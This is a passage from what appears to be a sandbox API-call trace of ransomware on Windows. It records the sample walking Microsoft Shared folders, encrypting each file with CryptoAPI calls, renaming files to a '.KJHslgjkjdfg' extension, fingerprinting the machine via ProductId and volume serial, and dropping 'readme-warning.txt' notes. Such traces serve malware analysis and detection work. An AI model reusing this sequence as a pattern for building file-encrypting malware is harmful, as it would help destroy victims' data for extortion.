liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0180.162] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0180.162] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.162] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.162] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.162] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9e413, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x9e413, lpOverlapped=0x0) returned 1 [0180.180] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x9e420, dwBufLen=0x9e420 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x9e420) returned 1 [0180.187] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.187] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9e420, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x9e420, lpOverlapped=0x0) returned 1 [0180.189] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.189] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x9e4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.189] SetEndOfFile (hFile=0x12c) returned 1 [0180.192] GetProcessHeap () returned 0x990000 [0180.192] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.192] GetProcessHeap () returned 0x990000 [0180.192] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.192] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.kjhslgjkjdfg")) returned 1 [0180.193] CloseHandle (hObject=0x12c) returned 1 [0180.200] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0180.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.201] GetProcessHeap () returned 0x990000 [0180.201] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.201] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.201] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0180.201] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0180.203] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.203] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.203] GetProcessHeap () returned 0x990000 [0180.203] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.204] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0180.204] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.204] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0180.204] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0180.204] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0180.204] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0180.204] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0180.204] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0180.204] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0180.204] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.204] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.204] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xdfc98, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xdfc98, lpOverlapped=0x0) returned 1 [0180.221] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xdfca0, dwBufLen=0xdfca0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xdfca0) returned 1 [0180.230] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.230] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xdfca0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xdfca0, lpOverlapped=0x0) returned 1 [0180.233] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.233] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xdfd74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.233] SetEndOfFile (hFile=0x12c) returned 1 [0180.236] GetProcessHeap () returned 0x990000 [0180.237] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.237] GetProcessHeap () returned 0x990000 [0180.237] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.237] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.kjhslgjkjdfg")) returned 1 [0180.247] CloseHandle (hObject=0x12c) returned 1 [0180.247] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0180.247] GetProcessHeap () returned 0x990000 [0180.247] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.247] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0180.247] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0180.247] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.248] GetProcessHeap () returned 0x990000 [0180.248] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0180.248] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0180.248] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0180.248] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.248] GetProcessHeap () returned 0x990000 [0180.248] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9b78c0 [0180.248] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0180.248] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b78c0, pdwDataLen=0x29dee20 | out: pbData=0x9b78c0, pdwDataLen=0x29dee20) returned 1 [0180.248] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.248] GetProcessHeap () returned 0x990000 [0180.248] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0180.248] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0180.248] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0180.248] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.248] GetProcessHeap () returned 0x990000 [0180.248] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0180.248] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0180.248] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0180.248] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.248] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0180.248] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0180.249] RegCloseKey (hKey=0x12c) returned 0x0 [0180.249] GetProcessHeap () returned 0x990000 [0180.249] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0180.249] GetProcessHeap () returned 0x990000 [0180.249] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0180.249] GetProcessHeap () returned 0x990000 [0180.249] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0180.249] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0180.249] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0180.249] CryptDestroyKey (hKey=0x9b6668) returned 1 [0180.249] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0180.249] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0180.249] GetProcessHeap () returned 0x990000 [0180.249] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0180.249] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0180.249] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0180.249] GetProcessHeap () returned 0x990000 [0180.249] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b7c88 [0180.249] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\readme-warning.txt") returned 84 [0180.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0180.254] WriteFile (in: hFile=0x12c, lpBuffer=0x9b7c88*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b7c88*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0180.255] CloseHandle (hObject=0x12c) returned 1 [0180.255] GetProcessHeap () returned 0x990000 [0180.255] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0180.255] GetProcessHeap () returned 0x990000 [0180.255] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b7c88 | out: hHeap=0x990000) returned 1 [0180.255] GetProcessHeap () returned 0x990000 [0180.255] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0180.255] GetProcessHeap () returned 0x990000 [0180.255] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.255] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.256] GetProcessHeap () returned 0x990000 [0180.256] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0180.256] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Fonts", cAlternateFileName="")) returned 0 [0180.256] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0180.256] GetProcessHeap () returned 0x990000 [0180.256] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0180.256] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1 [0180.256] GetProcessHeap () returned 0x990000 [0180.256] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x78) returned 0x9a9d68 [0180.256] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0180.257] GetProcessHeap () returned 0x990000 [0180.257] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9a9d68 | out: hHeap=0x990000) returned 1 [0180.257] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.257] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10.0", cAlternateFileName="")) returned 1 [0180.257] GetProcessHeap () returned 0x990000 [0180.257] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x27a) returned 0x9f9760 [0180.257] GetProcessHeap () returned 0x990000 [0180.257] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x82) returned 0x9b0940 [0180.258] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.261] GetProcessHeap () returned 0x990000 [0180.261] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.261] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.261] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 1 [0180.261] GetProcessHeap () returned 0x990000 [0180.261] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x284) returned 0x9b1eb0 [0180.261] GetProcessHeap () returned 0x990000 [0180.261] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8c) returned 0x9b0940 [0180.261] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*.*", lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6668 [0180.262] GetProcessHeap () returned 0x990000 [0180.262] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0180.262] GetProcessHeap () returned 0x990000 [0180.262] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28e) returned 0x9fd9f0 [0180.262] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0180.262] FindNextFileW (in: hFindFile=0x9b6668, lpFindFileData=0x29dedf0 | out: lpFindFileData=0x29dedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0180.263] FindClose (in: hFindFile=0x9b6668 | out: hFindFile=0x9b6668) returned 1 [0180.263] GetProcessHeap () returned 0x990000 [0180.263] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fd9f0 | out: hHeap=0x990000) returned 1 [0180.263] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 